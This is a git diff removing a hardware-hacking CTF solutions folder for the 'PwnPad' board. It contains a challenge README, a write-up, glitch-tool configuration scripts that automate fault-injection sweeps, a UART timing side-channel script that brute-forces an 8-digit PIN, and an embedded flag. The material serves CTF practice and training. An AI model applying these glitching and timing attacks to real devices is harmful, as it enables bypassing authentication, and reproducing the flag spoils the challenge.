0ee78c6..0000000 --- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py +++ /dev/null @@ -1,44 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', True], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### name, enabled, string to match ### -conditions = [ - ["Flag", True, "TS{", "stop_glitch"], -] - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py deleted file mode 100644 index 1185630..0000000 --- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py +++ /dev/null @@ -1,108 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', False], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - functions.run_output_low(0, 3000) - functions.run_output_low(1, 3000) - functions.run_output_low(2, 3000) - functions.run_output_low(3, 3000) - -def button_ok(): - functions.run_output_high(0, 15000000) # Can also run_output_low() if needed - functions.set_trigger_value(0, True) - functions.run_output_low(0, 3000) - - last_state = functions.get_trigger_value(0) - start_time = time.time() - - while True: - current_state = functions.get_trigger_value(0) - - # Detect rising edge: 0 → 1 - if last_state == 0 and current_state == 1: - functions.set_trigger_value(0, False) - functions.add_text("[code check complete]") - break - - # Exit if 1 second has elapsed - if time.time() - start_time >= 1.0: - functions.add_text("[timeout: no input detected within 1 second]") - break - - last_state = current_state - time.sleep(0.01) # Polling interval (10 ms) - - -def button_dash(): - functions.run_output_high(1, 1500000) ## can also run_output_low() if need too - functions.run_output_low(1, 3000) - -def button_space(): - functions.run_output_high(2, 1500000) ## can also run_output_low() if need too - functions.run_output_low(2, 3000) - -def button_dot(): - functions.run_output_high(3, 1500000) ## can also run_output_low() if need too - functions.run_output_low(3, 3000) - - -def echo_trigger_state(): - for channel in range(8): - state = functions.get_trigger_value(channel) - if state == 1: - functions.add_text(f"Channel {channel}: HIGH") - else: - functions.add_text(f"Channel {channel}: LOW") - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py deleted file mode 100644 index 94c453d..0000000 --- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py +++ /dev/null @@ -1,155 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - """ - Discover a five-digit code by sending candidate pulses and measuring the - interval from sending OK (pin 8) until input goes HIGH using wait_for(). - - For each digit: - - Send one pulse for previously found digits. - - Send repeated pulses of the candidate digit to fill 5 pulses. - - Pulse OK (pin 8) to trigger the device. - - Measure duration using wait_for() for input HIGH. - - Select candidate with the longest LOW duration before HIGH. - """ - candidate_pins = [9, 10, 11] - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} - - button_ok() - functions.add_text("[INFO] Pulsing output pin 8 to reset device...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - functions.add_text("[INFO] Starting full code discovery sequence...") - - for digit_index in range(5): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") - results = {} - - for test_pin in candidate_pins: - # Build sequence: previously found digits + candidate repeated - sequence = code_sequence.copy() - remaining_pulses = 5 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)} ...") - - # Send sequence pulses (without timing) - for pin in sequence: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.1) - - # Start timer and pulse OK (pin 8) - start_time = time.time() - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - - # Wait for input to go HIGH and measure duration - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Use the Arduino-provided LOW duration, fallback to timer if needed - duration = result.get("duration_ms", int((end_time - start_time) * 1000)) - functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") - - results[test_pin] = duration - time.sleep(0.3) - - # Select candidate with longest duration (correct digit) - correct_pin = max(results, key=results.get) - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - code_sequence.append(correct_pin) - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py deleted file mode 100644 index 01de69c..0000000 --- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py +++ /dev/null @@ -1,152 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} - - functions.add_text("[INFO] Starting full code discovery sequence") - - for digit_index in range(4): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}") - results = {} - - for test_pin in candidate_pins: - # Build the sequence: previously found digits + candidate repeated to fill 4 pulses - sequence = code_sequence.copy() - remaining_pulses = 4 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)}") - - # Send all pulses in the sequence, starting timer immediately before the fourth pulse - for i, pin in enumerate(sequence): - if i == len(sequence) - 1: - # Start timer immediately before sending the fourth pulse - start_time = time.time() - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - # Allow a short interval for the device to react - time.sleep(0.05) - # Wait for the input to go HIGH and capture result - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Safely extract duration from result or compute fallback - if isinstance(result, dict): - duration = result.get("duration_ms", - int((end_time - start_time) * 1000)) - else: - duration = int((end_time - start_time) * 1000) - - functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") - results[test_pin] = duration - else: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - # small pause between candidates - time.sleep(0.8) - - # Choose the candidate with the longest duration for this digit - correct_pin = max(results, key=results.get) - code_sequence.append(correct_pin) - - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence - -def stop_glitch(): - functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py deleted file mode 100644 index f7e8036..0000000 --- a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py +++ /dev/null @@ -1,123 +0,0 @@ -import functions -import threading -import time - -###### Config values ###### -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 1000000 -UART_NEWLINE = "\n" - -LENGTH = 12 -REPEAT = 1 -DELAY = 0 - -### name, enabled, string to match ### -conditions = [ - ['run', True, 'Password:', 'try_glitch'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### Custom functions ###### -def try_glitch(): - Len = functions.get_config_value("length") - Rep = functions.get_config_value("repeat") - Del = functions.get_config_value("delay") - time.sleep(0.2) - - tx_thread = threading.Thread( - target=functions.send_uart_message, - args=("aaaaaaaaaaaaaaaaaaaaa",), - daemon=True - ) - - glitch_thread = threading.Thread( - target=functions.start_glitch, - args=(Len, Rep, Del), - daemon=True - ) - - glitch_thread.start() - tx_thread.start() - - try: - current_delay = int(Del) - except (ValueError, TypeError): - current_delay = 0 - - try: - current_repeat = int(Rep) - except (ValueError, TypeError): - current_repeat = 0 - - new_delay = current_delay + 1 - - if new_delay >= 51: - new_delay = 0 - new_repeat = current_repeat + 1 - if new_repeat >= 20: - new_repeat = 1 - functions.set_config_value("repeat", new_repeat) - - functions.set_config_value("delay", new_delay) - - -def stop_glitch(): - buf = functions.read_uart_buffer() - - if "TS{D@mn_y0u_@r3_g006}" in buf: - functions.start_glitch(16, 1, 0) - else: - functions.set_condition_value(0, False) - functions.set_uart_switch(False) - - -###### Inactivity watchdog ###### -def config_inactivity_monitor(timeout=5): - """ - Monitor 'delay' and 'repeat' configuration values. - Restart device if they do not change for 'timeout' seconds - AND condition 0 remains True. - """ - # Wait for functions.config to be initialised - while True: - try: - _ = functions.get_config_value("delay") - break - except AttributeError: - print("[Watchdog] Waiting for configuration to initialise...") - time.sleep(1) - - last_delay = functions.get_config_value("delay") - last_repeat = functions.get_config_value("repeat") - last_change_time = time.time() - - while True: - try: - current_delay = functions.get_config_value("delay") - current_repeat = functions.get_config_value("repeat") - condition_active = functions.get_condition_value(0) - - if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat): - last_change_time = time.time() - last_delay = current_delay - last_repeat = current_repeat - - if condition_active and (time.time() - last_change_time > timeout): - print("[Watchdog] Inactivity detected. Restarting glitch...") - functions.start_glitch(16, 1, 0) - last_change_time = time.time() - - except Exception as e: - print(f"[Watchdog Error] {e}") - - time.sleep(1) - - -# Start watchdog thread after slight delay to allow initialisation -def start_watchdog(): - time.sleep(2) # ensures 'functions.config' is ready - monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True) - monitor_thread.start() - - -threading.Thread(target=start_watchdog, daemon=True).start() diff --git a/Misc/12Sec_CTF_V1/docs/12_solution.py b/Misc/12Sec_CTF_V1/docs/12_solution.py deleted file mode 100644 index c5188aa..0000000 --- a/Misc/12Sec_CTF_V1/docs/12_solution.py +++ /dev/null @@ -1,274 +0,0 @@ -#!/usr/bin/env python3 -""" -===================================================================== -UART Timing Analysis PIN Discovery Script (configurable start) -===================================================================== -Performs timing-based side-channel analysis to discover an 8-digit PIN -via UART, using the Arduino I/O controller for synchronised monitoring. - -This variant allows pre-setting a starting code (prefix) and the -starting position index so that discovery may resume part-way through. -Version: 1.3 -===================================================================== -""" - -import time -import serial -from arduinIO import ArduinoController - -# ================================================================ -# Configuration -# ================================================================ - -###### UART Configuration ###### -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 1199 -UART_NEWLINE = "\n" - -###### Arduino I/O Configuration ###### -ARDIO_PORT = "/dev/ttyACM0" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 - -###### Analysis Parameters ###### -PIN_LENGTH = 8 -KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] -PAD_CHAR = 'A' -ATTEMPTS_PER_CANDIDATE = 1 - -# Optionally set a starting prefix and a starting position. -# START_CODE is the known prefix (string). It may be empty. -# START_POS is the zero-based index at which to begin discovery. -# Example: START_CODE = "253", START_POS = 3 will begin at position 4. -START_CODE = "" # e.g. "253" -START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE). - -###### Delay Configuration (seconds) ###### -INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate -SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input -POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position -MAX_WAIT_MS = 800 # Maximum wait for input response -MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms) - -# ================================================================ -# Helper Functions -# ================================================================ - -def log(msg: str, level: str = "INFO"): - """Structured log output with level labels.""" - prefix = { - "INFO": "\033[94m[INFO]\033[0m", - "TEST": "\033[93m[TEST]\033[0m", - "ATTEMPT": "\033[90m[ATTEMPT]\033[0m", - "RESULT": "\033[92m[RESULT]\033[0m", - "ERROR": "\033[91m[ERROR]\033[0m", - "SUCCESS": "\033[96m[SUCCESS]\033[0m" - }.get(level, "[LOG]") - print(f"{prefix} {msg}") - - -def send_uart_message(ser, message: str): - """Send full message to UART target.""" - if not message.endswith(UART_NEWLINE): - message += UART_NEWLINE - ser.write(message.encode("utf-8")) - ser.flush() - - -def validate_start_settings(): - """Validate START_CODE and START_POS consistency and bounds.""" - if not isinstance(START_CODE, str): - raise ValueError("START_CODE must be a string.") - if not isinstance(START_POS, int): - raise ValueError("START_POS must be an integer.") - if len(START_CODE) != START_POS: - raise ValueError("Length of START_CODE must equal START_POS.") - if START_POS < 0 or START_POS > PIN_LENGTH: - raise ValueError("START_POS out of valid range.") - if len(START_CODE) > PIN_LENGTH: - raise ValueError("START_CODE longer than PIN_LENGTH.") - - -# ================================================================ -# PIN Discovery Logic -# ================================================================ - -def find_code(ser, arduino): - """ - Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW. - - Important: no UART reading occurs during the timed interval. UART is only - drained before sending (to remove stale lines) and immediately after the - timing measurement completes. This avoids introducing extra delay into - the critical timing path. - """ - - validate_start_settings() - log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO") - - discovered = START_CODE - start_pos = START_POS - - remaining_positions = PIN_LENGTH - start_pos - if remaining_positions <= 0: - log(f"No positions to discover. Current code: {discovered}", "INFO") - return discovered - - total_candidates = len(KEYSPACE) - total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE - eta_start = time.time() - attempts_done = 0 - - for pos in range(start_pos, PIN_LENGTH): - human_pos = pos + 1 - log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO") - timings = {} - - # Upper bound grows with each identified position (relative index) - relative_index = pos - start_pos - upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20 - - for idx, candidate in enumerate(KEYSPACE): - candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1)) - durations = [] - - for attempt in range(ATTEMPTS_PER_CANDIDATE): - # Best-effort non-blocking drain of stale UART lines BEFORE sending - try: - while ser.in_waiting: - _ = ser.readline() # discard - except Exception: - pass - - # Clear any previous short event records on Arduino - try: - arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1) - except Exception: - pass - - # Start timing immediately before send (critical interval begins) - t_start = time.time() - send_uart_message(ser, candidate_pin + UART_NEWLINE) - - # short settle after send (does not affect measurement start) - time.sleep(SEND_SETTLE_DELAY) - - # Perform event-based capture (no UART reads here) - dur_ms = 0 - try: - events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS) - except Exception: - events = [] - - if events: - low_event = next((ev for ev in events if ev.get("state") == "LOW"), None) - if low_event: - dur_ms = low_event.get("duration_ms", 0) - - # Fallback blocking wait_if_no_event (still no UART reads) - if dur_ms == 0: - try: - result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW") - t_end = time.time() - if isinstance(result, dict): - dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000)) - else: - dur_ms = int((t_end - t_start) * 1000) - except Exception: - dur_ms = 0 - - # Immediately after measurement, drain UART non-blocking and check for success - try: - while ser.in_waiting: - line = ser.readline().decode(errors='ignore').strip() - if line and line.startswith("TS{"): - # Found success; append this candidate and return the discovered code - discovered += candidate - log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS") - return discovered - except Exception: - # ignore serial read errors and continue - pass - - # Only include durations that lie within the allowed window - if 600 <= dur_ms <= upper_bound: - durations.append(dur_ms) - - # Update ETA (safe to compute outside critical interval) - attempts_done += 1 - elapsed = time.time() - eta_start - avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0 - remaining_attempts = total_attempts - attempts_done - eta_remaining = remaining_attempts * avg_time_per_attempt - eta_min, eta_sec = divmod(int(eta_remaining), 60) - - # Overwrite attempt line - print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True) - - time.sleep(INTER_ATTEMPT_DELAY) - - # newline after candidate block - #print() - - # Compute average using only valid durations - avg_duration = (sum(durations) / len(durations)) if durations else 0.0 - timings[candidate] = avg_duration - print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True) - print() - - # Select best candidate (largest average); fallback to '0' if none valid - if any(v > 0 for v in timings.values()): - selected = max(timings, key=timings.get) - else: - selected = '0' - - discovered += selected - log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO") - - # Progress display - print(f"\n ┌───────────────────────────────┐") - print(f" │ Progress: {discovered:<8} │") - print(f" └───────────────────────────────┘\n") - - # Optional settle between positions; keep minimal if timing-sensitive - if POSITION_SETTLE_DELAY: - time.sleep(POSITION_SETTLE_DELAY) - - log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS") - return discovered - - - -# ================================================================ -# Main Execution -# ================================================================ - -def main(): - log("Initialising Arduino controller...", "INFO") - arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) - arduino.connect() - version = arduino.get_version() - log(f"Connected to Arduino firmware {version}", "INFO") - - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO") - - log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO") - ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) - log("UART connection established", "INFO") - - try: - pin = find_code(ser, arduino) - log(f"Discovered PIN: {pin}", "SUCCESS") - except KeyboardInterrupt: - log("Process interrupted by user", "ERROR") - except Exception as e: - log(f"Unexpected error: {e}", "ERROR") - finally: - ser.close() - arduino.disconnect() - log("Connections closed", "INFO") - - -if __name__ == "__main__": - main() diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md deleted file mode 100644 index 89bf312..0000000 --- a/Misc/12Sec_CTF_V1/01.md +++ /dev/null @@ -1,27 +0,0 @@ -# **Challenge 1: "Serial Snitch"** - -As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration. - -Your mission is clear: - -1. **Identify the UART pins** you've uncovered during your investigation. -2. **Determine the correct baud rate** to establish a stable connection. -3. **Access the device’s command interface** and unlock control over the system’s lighting grid. - ---- - -## Findings - -#### setup - -![PwnPad main board](docs/01_setup.png) - -#### notes - -The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag) - -Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py deleted file mode 100644 index 0ee78c6..0000000 --- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py +++ /dev/null @@ -1,44 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', True], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### name, enabled, string to match ### -conditions = [ - ["Flag", True, "TS{", "stop_glitch"], -] - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - 